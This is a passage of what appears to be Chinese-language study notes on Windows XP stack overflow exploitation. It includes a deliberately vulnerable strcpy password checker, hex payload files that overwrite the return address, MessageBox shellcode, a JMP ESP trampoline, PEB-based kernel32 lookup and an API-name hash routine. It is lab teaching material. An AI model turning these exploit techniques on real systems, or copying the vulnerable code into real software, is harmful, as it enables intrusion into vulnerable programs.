</div></div><div><div><div>5</div></div><div><span>int</span><span> </span><span>verify_password</span><span>(</span><span>char</span><span> </span><span>*</span><span><span>password</span><span>)</span></span></div></div><div><div><div>6</div></div><div><span>{</span></div></div><div><div><div>7</div></div><div><span>    </span><span>int</span><span> authenticated;</span></div></div><div><div><div>8</div></div><div><span>    </span><span>char</span><span> </span><span>buffer</span><span>[</span><span>8</span><span>];</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>authenticated </span><span>=</span><span> </span><span>strcmp</span><span>(password, PASSWORD);</span></div></div><div><div><div>10</div></div><div><span>    </span><span>strcpy</span><span>(buffer, password);</span></div></div><div><div><div>11</div></div><div><span>    </span><span>return</span><span> authenticated;</span></div></div><div><div><div>12</div></div><div><span>}</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>int</span><span> </span><span>main</span><span>()</span></div></div><div><div><div>15</div></div><div><span>{</span></div></div><div><div><div>16</div></div><div><span>    </span><span>int</span><span> valid_flag </span><span>=</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>17</div></div><div><span>    </span><span>char</span><span> </span><span>password</span><span>[</span><span>1024</span><span>];</span></div></div><div><div><div>18</div></div><div><span>    </span><span>while</span><span>(</span><span>1</span><span>)</span></div></div><div><div><div>19</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>20</div></div><div><span>        </span><span>printf</span><span>(</span><span>"Input Number:"</span><span>);</span></div></div><div><div><div>21</div></div><div><span>        </span><span>scanf</span><span>(</span><span>"</span><span>%s</span><span>"</span><span>, password);</span></div></div><div><div><div>22</div></div><div><span><span>        </span></span><span>valid_flag </span><span>=</span><span> </span><span>verify_password</span><span>(password);</span></div></div><div><div><div>23</div></div><div><span>        </span><span>if</span><span>(valid_flag)</span></div></div><div><div><div>24</div></div><div><span><span>        </span></span><span>{</span></div></div><div><div><div>25</div></div><div><span>            </span><span>printf</span><span>(</span><span>"ERROR!"</span><span>);</span></div></div><div><div><div>26</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>27</div></div><div><span>        </span><span>else</span></div></div><div><div><div>28</div></div><div><span><span>        </span></span><span>{</span></div></div><div><div><div>29</div></div><div><span>            </span><span>printf</span><span>(</span><span>"OK!"</span><span>);</span></div></div><div><div><div>30</div></div><div><span>            </span><span>break</span><span>;</span></div></div><div><div><div>31</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>32</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>33</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h5>分析(ExpStd0101)<a href="#分析expstd0101"><span>#</span></a></h5><ul>
<li>
<p>简易分析</p>
<ul>
<li>当输入99999999时，它的末尾<code>'\0'</code>将第9个字节填充，正好将authenticated的最低位1个字节0x1改为0x0</li>
<li>这也和strcmp函数有关系，如果<code>str1&lt;str2</code>那authenticated的值-1以补码<code>FFFFFFFF</code>存储，此时即使将低位<code>FF</code>溢出为<code>00</code>也无用，所以并非全部的8位字符都可以绕过验证</li>
</ul>
</li>
<li>
<p>进一步验证</p>
<ul>
<li>当输入8个9时，8字节的buffer填满，覆盖1字节的authenticated空间</li>
<li>当输入11个9时，8字节的buffer填满，覆盖4字节的authenticated空间，即authenticated被完全覆盖，它被冲刷为<code>0x00393939</code></li>
<li>当输入15个9时，8字节的buffer填满，覆盖4字节的authenticated空间，本函数EBP所在空间也被覆盖(内容是父函数EBP)</li>
<li>当输入19个9时，8字节的buffer填满，覆盖4字节的authenticated空间，覆盖4字节的EBP空间，覆盖4字节的返回地址</li>
</ul>
</li>
<li>
<p>更进一步验证</p>
<ul>
<li>由于键盘无法输入一些不可见字符，所以更换为读取文件验证</li>
</ul>
</li>
</ul><hr /></section></section><section><h4>硬编码地址控制程序流程<a href="#硬编码地址控制程序流程"><span>#</span></a></h4><p>使用FILE来进行文件的读取</p><section><h5>代码(ExpStd0102)<a href="#代码expstd0102"><span>#</span></a></h5><div><div><div></div><div>说明</div></div><div><p>编译环境：Windows XP SP3, Visual C++ 6, Debug
实验环境：Windows XP SP3</p></div></div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#include</span><span> </span><span>&lt;stdio.h&gt;</span></div></div><div><div><div>2</div></div><div><span>#include</span><span> </span><span>&lt;string.h&gt;</span></div></div><div><div><div>3</div></div><div><span>#include</span><span> </span><span>&lt;stdlib.h&gt;</span></div></div><div><div><div>4</div></div><div><span>#define</span><span> </span><span>PASSWORD</span><span> </span><span>"1234567"</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>int</span><span> </span><span>verify_password</span><span>(</span><span>char</span><span> </span><span>*</span><span><span>password</span><span>)</span></span></div></div><div><div><div>7</div></div><div><span>{</span></div></div><div><div><div>8</div></div><div><span>    </span><span>int</span><span> authenticated;</span></div></div><div><div><div>9</div></div><div><span>    </span><span>char</span><span> </span><span>buffer</span><span>[</span><span>8</span><span>];</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>authenticated </span><span>=</span><span> </span><span>strcmp</span><span>(password, PASSWORD);</span></div></div><div><div><div>11</div></div><div><span>    </span><span>strcpy</span><span>(buffer, password);</span></div></div><div><div><div>12</div></div><div><span>    </span><span>return</span><span> authenticated;</span></div></div><div><div><div>13</div></div><div><span>}</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>int</span><span> </span><span>main</span><span>()</span></div></div><div><div><div>16</div></div><div><span>{</span></div></div><div><div><div>17</div></div><div><span>    </span><span>int</span><span> valid_flag </span><span>=</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>18</div></div><div><span>    </span><span>char</span><span> </span><span>password</span><span>[</span><span>1024</span><span>];</span></div></div><div><div><div>19</div></div><div><span><span>    </span></span><span>FILE </span><span>*</span><span> fp;</span></div></div><div><div><div>20</div></div><div><span>    </span><span>if</span><span>(</span><span>!</span><span>(fp </span><span>=</span><span> </span><span>fopen</span><span>(</span><span>"password.txt"</span><span>, </span><span>"rw+"</span><span>)))</span></div></div><div><div><div>21</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>22</div></div><div><span>        </span><span>exit</span><span>(</span><span>0</span><span>);</span></div></div><div><div><div>23</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>24</div></div><div><span>    </span><span>fscanf</span><span>(fp, </span><span>"</span><span>%s</span><span>"</span><span>, password);</span></div></div><div><div><div>25</div></div><div><span><span>    </span></span><span>valid_flag </span><span>=</span><span> </span><span>verify_password</span><span>(password);</span></div></div><div><div><div>26</div></div><div><span>    </span><span>if</span><span>(valid_flag)</span></div></div><div><div><div>27</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>28</div></div><div><span>        </span><span>printf</span><span>(</span><span>"ERROR!"</span><span>);</span></div></div><div><div><div>29</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>30</div></div><div><span>    </span><span>else</span></div></div><div><div><div>31</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>32</div></div><div><span>        </span><span>printf</span><span>(</span><span>"OK!"</span><span>);</span></div></div><div><div><div>33</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>34</div></div><div><span>    </span><span>fclose</span><span>(fp);</span></div></div><div><div><div>35</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h5>分析(ExpStd0102)<a href="#分析expstd0102"><span>#</span></a></h5><blockquote><p>首先使用已知的地址进行shellcode的编写，此地址不同编译器编译出的结果不同，不同系统加载的地址也不同，所以只能测试时使用</p></blockquote><ul>
<li>必要信息
<ul>
<li>成功分支地址：<code>0x0040111F</code></li>
<li>由于内存逆序存放(小端序)，应该逆序写这些值</li>
</ul>
</li>
<li>十六进制编辑password.txt，如下</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>34 33 32 31 34 33 32 31 34 33 32 31 34 33 32 31</span></div></div><div><div><div>2</div></div><div><span>1F 11 40 00</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>运行程序，此时
<ul>
<li>在栈地址<code>0x0012FB24</code>处存放的是函数<code>verify_password</code>的返回地址</li>
<li>此处已经被冲刷为<code>0040111F</code>，而此地址是成功分支地址</li>
</ul>
</li>
<li>使用成功分支地址替代了返回地址，但是由于堆栈不平衡，所以程序显示成功后崩溃</li>
</ul><hr /></section></section><section><h4>加入攻击载荷(ShellCode)<a href="#加入攻击载荷shellcode"><span>#</span></a></h4><p>加大了buffer的大小用来承载攻击载荷<br />
动态加载DLL用于调用API</p><section><h5>代码(ExpStd0103)<a href="#代码expstd0103"><span>#</span></a></h5><div><div><div></div><div>说明</div></div><div><p>编译环境：Windows XP SP3, Visual C++ 6, Debug
实验环境：Windows XP SP3</p></div></div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#include</span><span> </span><span>&lt;stdio.h&gt;</span></div></div><div><div><div>2</div></div><div><span>#include</span><span> </span><span>&lt;windows.h&gt;</span></div></div><div><div><div>3</div></div><div><span>#define</span><span> </span><span>PASSWORD</span><span> </span><span>"1234567"</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>int</span><span> </span><span>verify_password</span><span>(</span><span>char</span><span> </span><span>*</span><span><span>password</span><span>)</span></span></div></div><div><div><div>6</div></div><div><span>{</span></div></div><div><div><div>7</div></div><div><span>    </span><span>int</span><span> authenticated;</span></div></div><div><div><div>8</div></div><div><span>    </span><span>char</span><span> </span><span>buffer</span><span>[</span><span>44</span><span>];</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>authenticated </span><span>=</span><span> </span><span>strcmp</span><span>(password, PASSWORD);</span></div></div><div><div><div>10</div></div><div><span>    </span><span>strcpy</span><span>(buffer, password);</span></div></div><div><div><div>11</div></div><div><span>    </span><span>return</span><span> authenticated;</span></div></div><div><div><div>12</div></div><div><span>}</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>int</span><span> </span><span>main</span><span>()</span></div></div><div><div><div>15</div></div><div><span>{</span></div></div><div><div><div>16</div></div><div><span>    </span><span>int</span><span> valid_flag </span><span>=</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>17</div></div><div><span>    </span><span>char</span><span> </span><span>password</span><span>[</span><span>1024</span><span>];</span></div></div><div><div><div>18</div></div><div><span><span>    </span></span><span>FILE </span><span>*</span><span> fp;</span></div></div><div><div><div>19</div></div><div><span>    </span><span>LoadLibrary</span><span>(</span><span>"user32.dll"</span><span>);</span></div></div><div><div><div>20</div></div><div><span>    </span><span>if</span><span>(</span><span>!</span><span>(fp </span><span>=</span><span> </span><span>fopen</span><span>(</span><span>"password.txt"</span><span>, </span><span>"rw+"</span><span>)))</span></div></div><div><div><div>21</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>22</div></div><div><span>        </span><span>exit</span><span>(</span><span>0</span><span>);</span></div></div><div><div><div>23</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>24</div></div><div><span>    </span><span>fscanf</span><span>(fp, </span><span>"</span><span>%s</span><span>"</span><span>, password);</span></div></div><div><div><div>25</div></div><div><span><span>    </span></span><span>valid_flag </span><span>=</span><span> </span><span>verify_password</span><span>(password);</span></div></div><div><div><div>26</div></div><div><span>    </span><span>if</span><span>(valid_flag)</span></div></div><div><div><div>27</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>28</div></div><div><span>        </span><span>printf</span><span>(</span><span>"ERROR!"</span><span>);</span></div></div><div><div><div>29</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>30</div></div><div><span>    </span><span>else</span></div></div><div><div><div>31</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>32</div></div><div><span>        </span><span>printf</span><span>(</span><span>"OK!"</span><span>);</span></div></div><div><div><div>33</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>34</div></div><div><span>    </span><span>fclose</span><span>(fp);</span></div></div><div><div><div>35</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h5>分析(ExpStd0103)<a href="#分析expstd0103"><span>#</span></a></h5><blockquote><p>目标：在程序验证时植入代码，实现弹窗MessageBox</p></blockquote><ul>
<li>必要信息
<ul>
<li>数组起始地址：<code>0x0012FAF0</code>(也是ShellCode执行的起始地址)</li>
<li>MessageBoxA地址：<code>0x77D507EC</code></li>
<li>十六进制的文字：<code>6661696C77657374</code>(failwest，书里弹窗用的字符串)</li>
</ul>
</li>
<li>组成的机器码</li>
</ul>

<table><thead><tr><th>机器码(HEX)</th><th>汇编码</th><th>注释</th></tr></thead><tbody><tr><td>33DB</td><td>XOR EBX, EBX</td><td>清空EBX，保证ShellCode中无0(截至符)</td></tr><tr><td>53</td><td>PUSH EBX</td><td>字符串末尾的<code>\0</code></td></tr><tr><td>68 77657374</td><td>PUSH 74736577</td><td>压入文字字节west(0x77657374)</td></tr><tr><td>68 6661696C</td><td>PUSH 6C696166</td><td>压入文字字节fail(0x6661696C)</td></tr><tr><td>8BC4</td><td>MOV EAX, ESP</td><td>ESP栈顶指向字符串failwest，移交给EAX</td></tr><tr><td>53</td><td>PUSH EBX</td><td>MB_OK</td></tr><tr><td>50</td><td>PUSH EAX</td><td>Message</td></tr><tr><td>50</td><td>PUSH EAX</td><td>Caption</td></tr><tr><td>53</td><td>PUSH EBX</td><td>Handle</td></tr><tr><td>B8 EC07D577</td><td>MOV EAX, 0x77D507EC</td><td>将MessageBoxA的地址硬编码移入EAX</td></tr><tr><td>FFD0</td><td>CALL EAX</td><td>调用MessageBoxA</td></tr></tbody></table><ul>
<li>将机器码按照顺序写入password.txt
<ul>
<li>53-56字节填入返回地址(Buffer的起始地址)，其余字节用0x90填充</li>
</ul>
</li>
<li>填充运行测试发现，最后只剩下2字节的空间可用，唯一不完美的地方在于程序崩溃退出</li>
</ul><blockquote><p>以下是最终的password.txt</p></blockquote><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>33 DB 53 68 77 65 73 74  68 66 61 69 6C 8B C4 53</span></div></div><div><div><div>2</div></div><div><span>50 50 53 B8 EC 07 D5 77  FF D0 90 90 90 90 90 90</span></div></div><div><div><div>3</div></div><div><span>90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90</span></div></div><div><div><div>4</div></div><div><span>90 90 90 90 F0 FA 12 00</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这个办法的不足之处在于硬编码地址和栈空间移位的问题，下面先解决栈的位置。</p><hr /></section></section></section></section>
<section><h2>ESP跳板<a href="#esp跳板"><span>#</span></a></h2><p>ShellCode在内存中往往是动态的，并非直接填写一个定值<br />
也就是前面buffer数组的栈空间地址，并非总是个定值<br />
当CPU执行到此地址时，有可能触发无效指令异常导致程序崩溃，ShellCode无法运行</p><section><h3>原理<a href="#原理"><span>#</span></a></h3><p>从程序已加载的系统DLL中查找一个<code>JMP ESP</code>指令的地址，用此地址去淹没返回地址<br />
这样既能精准定位shellcode的位置，又能适应栈空间的动态变化<br />
栈的地址是上小下大，CPU的执行顺序是小地址到大地址，栈淹没同样从小地址淹没到大地址<br />
这样只要将前面的一段空间淹没为无意义数据，将ShellCode的开始恰好淹没在<code>[ESP]</code>处，就可以达到ShellCode动态寻址</p></section><section><h3>ShellCode编写<a href="#shellcode编写"><span>#</span></a></h3><section><h4>结构<a href="#结构"><span>#</span></a></h4><p>无用数据+<code>JMP ESP</code>地址(此地址恰好淹没到函数返回地址)+命令代码(用于测试，MessageBox弹窗)</p><blockquote><p>说明：</p><ul>
<li><code>retn</code>后将会跳到<code>JMP ESP</code>处，随后ESP + 4</li>
<li><code>JMP ESP</code>后将会正好跳到命令代码处</li>
</ul></blockquote></section><section><h4>必要数据<a href="#必要数据"><span>#</span></a></h4><ul>
<li><code>JMP ESP</code>地址：位于User32.dll中<code>0x77D29353</code>(没必要必须是原版命令，只要搜二进制<code>0xFFE4</code>即可)</li>
<li>垃圾数据大小：52 Byte = Buffer(44 Byte) + authenticated(4 Byte) + EBP(4 Byte)</li>
</ul></section><section><h4>最终Code<a href="#最终code"><span>#</span></a></h4><blockquote><p>以下是需要执行的命令代码</p></blockquote><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>33DB                      </span><span>xor</span><span> </span></span><span>ebx</span><span>,</span><span>ebx</span></div></div><div><div><div>2</div></div><div><span>53</span><span><span>                        </span><span>push</span><span> </span></span><span>ebx</span></div></div><div><div><div>3</div></div><div><span>68</span><span> </span><span>77657374</span><span><span>               </span><span>push</span><span> </span></span><span>0x74736577</span></div></div><div><div><div>4</div></div><div><span>68</span><span><span> 6661696C               </span><span>push</span><span> </span></span><span>0x6C696166</span></div></div><div><div><div>5</div></div><div><span><span>8BC4                      </span><span>mov</span><span> </span></span><span>eax</span><span>,</span><span>esp</span></div></div><div><div><div>6</div></div><div><span>53</span><span><span>                        </span><span>push</span><span> </span></span><span>ebx</span></div></div><div><div><div>7</div></div><div><span>50</span><span><span>                        </span><span>push</span><span> </span></span><span>eax</span></div></div><div><div><div>8</div></div><div><span>50</span><span><span>                        </span><span>push</span><span> </span></span><span>eax</span></div></div><div><div><div>9</div></div><div><span>53</span><span><span>                        </span><span>push</span><span> </span></span><span>ebx</span></div></div><div><div><div>10</div></div><div><span><span>B8 EA07D577               </span><span>mov</span><span> </span></span><span>eax</span><span>,user32.MessageBoxA</span></div></div><div><div><div>11</div></div><div><span><span>FFD0                      </span><span>call</span><span> </span></span><span>eax</span></div></div><div><div><div>12</div></div><div><span><span>B8 FACA817C               </span><span>mov</span><span> </span></span><span>eax</span><span>,kernel32.ExitProcess</span></div></div><div><div><div>13</div></div><div><span><span>FFD0                      </span><span>call</span><span> </span></span><span>eax</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p>最终的ShellCode</p></blockquote><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>34 33 32 31 34 33 32 31  34 33 32 31 34 33 32 31</span></div></div><div><div><div>2</div></div><div><span>34 33 32 31 34 33 32 31  34 33 32 31 34 33 32 31</span></div></div><div><div><div>3</div></div><div><span>34 33 32 31 34 33 32 31  34 33 32 31 34 33 32 31</span></div></div><div><div><div>4</div></div><div><span>34 33 32 31 53 93 D2 77  33 DB 53 68 77 65 73 74</span></div></div><div><div><div>5</div></div><div><span>68 66 61 69 6C 8B C4 53  50 50 53 B8 EA 07 D5 77</span></div></div><div><div><div>6</div></div><div><span>FF D0 B8 FA CA 81 7C FF  D0</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这次 MessageBoxA 用的是 <code>0x77D507EA</code>，前面用的是 <code>0x77D507EC</code>，两个都能弹窗。差的这两个字节应该就是函数开头那条 <code>mov edi, edi</code>（XP SP2 起留给热补丁用的），跳过它直接从 <code>push ebp</code> 开始执行也没问题。最后补了一个 ExitProcess，程序就不会在弹窗之后崩溃了。</p><p>栈的位置解决了，可 API 的地址还是写死的，换一台机器就不灵了。下一步是让 shellcode 自己去找 API。</p><hr /></section></section></section>
<section><h2>API动态加载<a href="#api动态加载"><span>#</span></a></h2><section><h3>通过TEB定位API地址<a href="#通过teb定位api地址"><span>#</span></a></h3><section><h4>定位Kernel32.dll<a href="#定位kernel32dll"><span>#</span></a></h4><ul>
<li>用户态下 FS 段的基址就是当前线程的 TEB（<code>[FS:0x18]</code> 存着 TEB 自己的地址，<code>[FS:0]</code> 是 SEH 链表头）</li>
<li>TEB偏移0x30的位置<code>[TEB + 0x30]</code>存放PEB的地址</li>
<li>PEB偏移0xC的位置<code>[PEB + 0xC]</code>存放PEB_LDR_DATA</li>
<li>关于PEB_LDR_DATA结构，微软官方的说明<a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data" target="_blank">点此</a>，C语言表示如下</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>typedef</span><span> </span><span>struct</span><span> </span><span>_PEB_LDR_DATA</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>BYTE</span><span>       </span><span>Reserved1</span><span>[</span><span>8</span><span>];</span></div></div><div><div><div>3</div></div><div><span>  </span><span>PVOID</span><span>      </span><span>Reserved2</span><span>[</span><span>3</span><span>];</span></div></div><div><div><div>4</div></div><div><span>  </span><span>LIST_ENTRY</span><span> </span><span>InMemoryOrderModuleList</span><span>;</span></div></div><div><div><div>5</div></div><div><span>} </span><span>PEB_LDR_DATA</span><span>, </span><span>*</span><span>PPEB_LDR_DATA</span><span>;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p>以下是我的调试结果</p></blockquote><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>typedef</span><span> </span><span>struct</span><span> </span><span>_PEB_LDR_DATA</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>ULONG</span><span>      </span><span>Length</span><span>;</span></div></div><div><div><div>3</div></div><div><span>  </span><span>UCHAR</span><span>      </span><span>Initialized</span><span>;</span></div></div><div><div><div>4</div></div><div><span>  </span><span>PVOID</span><span>      </span><span>SsHandle</span><span>;</span></div></div><div><div><div>5</div></div><div><span>  </span><span>LIST_ENTRY</span><span> </span><span>InLoadOrderModuleList</span><span>;</span><span>            // +0x0C</span></div></div><div><div><div>6</div></div><div><span>  </span><span>LIST_ENTRY</span><span> </span><span>InMemoryOrderModuleList</span><span>;</span><span>          // +0x14</span></div></div><div><div><div>7</div></div><div><span>  </span><span>LIST_ENTRY</span><span> </span><span>InInitializationOrderModuleList</span><span>;</span><span>  // +0x1C</span></div></div><div><div><div>8</div></div><div><span>  </span><span>PVOID</span><span>      </span><span>EntryInProgress</span><span>;</span></div></div><div><div><div>9</div></div><div><span>  </span><span>UCHAR</span><span>      </span><span>ShutdownInProgress</span><span>;</span></div></div><div><div><div>10</div></div><div><span>  </span><span>PVOID</span><span>      </span><span>ShutdownThreadId</span><span>;</span></div></div><div><div><div>11</div></div><div><span>} </span><span>PEB_LDR_DATA</span><span>, </span><span>*</span><span>PPEB_LDR_DATA</span><span>;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>我们需要读取InInitializationOrderModuleList(初始化加载模块列表)来取得Kernel32.dll的地址，而此列表是LIST_ENTRY结构，此结构的微软官方说明如下</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>typedef</span><span> </span><span>struct</span><span> </span><span>_LIST_ENTRY</span><span> {</span></div></div><div><div><div>2</div></div><div><span>   </span><span>struct</span><span> </span><span>_LIST_ENTRY</span><span> </span><span>*</span><span>Flink</span><span>;</span></div></div><div><div><div>3</div></div><div><span>   </span><span>struct</span><span> </span><span>_LIST_ENTRY</span><span> </span><span>*</span><span>Blink</span><span>;</span></div></div><div><div><div>4</div></div><div><span>} </span><span>LIST_ENTRY</span><span>, </span><span>*</span><span>PLIST_ENTRY</span><span>, </span><span>*</span><span>RESTRICTED_POINTER</span><span> </span><span>PRLIST_ENTRY</span><span>;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p>我的调试结果：链表节点其实嵌在每个模块的 LDR_DATA_TABLE_ENTRY 里，从 InInitializationOrderLinks 这个节点往后看是这样的</p></blockquote><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>typedef</span><span> </span><span>struct</span><span> </span><span>LinkNode</span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span>    </span><span>struct</span><span> </span><span>LinkNode</span><span> </span><span>*</span><span>Flink</span><span>;</span></div></div><div><div><div>4</div></div><div><span>    </span><span>struct</span><span> </span><span>LinkNode</span><span> </span><span>*</span><span>Blink</span><span>;</span></div></div><div><div><div>5</div></div><div><span>    </span><span>PVOID</span><span> </span><span>DllAddress</span><span>;</span><span>   // +0x08，也就是 LDR_DATA_TABLE_ENTRY 的 DllBase</span></div></div><div><div><div>6</div></div><div><span>} </span><span>LinkNode</span><span>;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>由此可见，在链表节点的<code>+0x8</code>处存在DllAddress。在 XP 上这个列表的前两个节点是<code>Ntdll -&gt; Kernel32</code>；从 Windows 7 开始中间多了一个 KernelBase，变成<code>Ntdll -&gt; KernelBase -&gt; Kernel32</code>，所以下面”取第二个节点”的写法只在 XP 上能拿到 kernel32</li>
</ul></section><section><h4>定位API地址(逆向Kernel32.dll)<a href="#定位api地址逆向kernel32dll"><span>#</span></a></h4><blockquote><p>上一小节获得了Kernel32的加载基址，此小节由此获取<code>LoadLibrary</code>和<code>GetProcAddress</code>的地址用于获取其它函数地址</p></blockquote><ul>
<li>偏移<code>0x3C</code>是PEHeader的入口，标志字为<code>0x5045</code>，文字为<code>PE</code></li>
<li>再加上<code>0x78</code>的偏移是导出表的地址(Export Directory RVA)，此时的偏移为<code>0x168</code>，值为<code>0x262C</code></li>
<li>再加上<code>0x4</code>的偏移是导出表的大小(Export Directory Size)，值是<code>0x6CFD</code></li>
<li>在磁盘上时，节大小的最小单位是<code>0x200</code>，但加载到内存中，节大小的最小单位变为<code>0x1000</code>，而PE文件头在文件中占据的大小是<code>0x400</code>，但是映射到内存中将占据<code>0x1000</code>的大小，大小差值为<code>0xC00</code>，所以<code>0x262C</code>应当减去<code>0xC00</code>，得到导出目录表<code>Export Directory</code>在文件中的位置<code>0x1A2C</code></li>
<li>导出目录表(IMAGE_EXPORT_DIRECTORY)里有三张表的 RVA，<code>+0x1C</code> 是函数地址表 AddressOfFunctions，<code>+0x20</code> 是函数名表 AddressOfNames，<code>+0x24</code> 是序号表 AddressOfNameOrdinals</li>
<li>找一个函数的过程是这样，在名字表里找到函数名，记下它的下标 i，到序号表里取第 i 个 WORD 得到序号，再用这个序号去函数地址表里取 RVA，加上基址就是函数地址</li>
<li>用这个办法就能找到<code>LoadLibraryA</code>和<code>GetProcAddress</code>，有了这两个函数，其它 API 都能拿到</li>
</ul><hr /></section></section><section><h3>调试ShellCode(ExpStd0301)<a href="#调试shellcodeexpstd0301"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>char</span><span> shellcode</span><span>[]</span><span> </span><span>=</span><span> </span><span>"</span><span>\x10\x10</span><span>"</span><span>;</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>void</span><span> </span><span>main</span><span>()</span></div></div><div><div><div>4</div></div><div><span>{</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>__asm</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>{</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>lea eax, shellcode</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>push eax</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>ret</span></div></div><div><div><div>10</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>11</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section><section><h3>动态API加载ShellCode<a href="#动态api加载shellcode"><span>#</span></a></h3><section><h4>理论分析<a href="#理论分析"><span>#</span></a></h4><ul>
<li>需要的API函数
<ul>
<li>MessageBoxA(User32.dll)</li>
<li>ExitProcess(Kernel32.dll)</li>
<li>LoadLibraryA(Kernel32.dll)</li>
</ul>
</li>
<li>一个难题：如何在需要ShellCode尽可能短的情况下(不存在函数名称)找到API的地址</li>
</ul></section><section><h4>函数名的HASH算法<a href="#函数名的hash算法"><span>#</span></a></h4><section><h5>理论<a href="#理论"><span>#</span></a></h5><ul>
<li>需要引入额外的HASH算法</li>
<li>计算的结果称为DIGEST(摘要)</li>
<li>对搜索到的函数名进行HASH</li>
</ul></section><section><h5>算法(ExpStd0302)<a href="#算法expstd0302"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#include</span><span> </span><span>&lt;stdio.h&gt;</span></div></div><div><div><div>2</div></div><div><span>#include</span><span> </span><span>&lt;windows.h&gt;</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>DWORD </span><span>GetHash</span><span>(</span><span>char</span><span> </span><span>*</span><span><span>fun_name</span><span>)</span></span></div></div><div><div><div>5</div></div><div><span>{</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>DWORD digest </span><span>=</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>7</div></div><div><span>  </span><span>while</span><span>(</span><span>*</span><span>fun_name)</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>{</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>digest </span><span>=</span><span> ((digest </span><span>&lt;&lt;</span><span> </span><span>25</span><span>) </span><span>|</span><span> (digest </span><span>&gt;&gt;</span><span> </span><span>7</span><span>));</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>digest </span><span>+=</span><span> </span><span>*</span><span>fun_name;</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>fun_name</span><span>++</span><span>;</span></div></div><div><div><div>12</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>13</div></div><div><span>  </span><span>return</span><span> digest;</span></div></div><div><div><div>14</div></div><div><span>}</span></div></div><div><div><div>15</div></div><div>
